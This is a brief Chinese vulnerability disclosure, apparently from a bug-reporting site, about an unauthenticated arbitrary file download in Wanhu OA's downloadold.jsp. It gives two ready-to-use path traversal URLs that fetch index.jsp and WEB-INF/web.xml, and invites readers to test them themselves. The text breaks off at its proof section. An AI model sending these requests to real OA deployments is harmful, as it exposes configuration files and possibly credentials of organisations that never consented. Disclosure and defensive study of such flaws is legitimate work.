Wanhu download_old.jsp 任意文件下载

未对 downloadold.jsp 文件进行身份验证，可以直接访问。 并可控制path、name、FileName参数。...

万户OA所有版本任意文件下载

简要描述： 万户OA任意文件下载漏洞 详细说明： 万户OAdownloadold.jsp文件可以任意访问，导致无需登录，下载任意文件 测试URL： /defaultroot/downloadold.jsp?path=..&name=x&FileName=index.jsp /defaultroot/downloadold.jsp?path=..&name=x&FileName=WEB-INF/web.xml 快下班了，时间不够了，测试地址就不贴了，自行测试哈。。 漏洞证明：...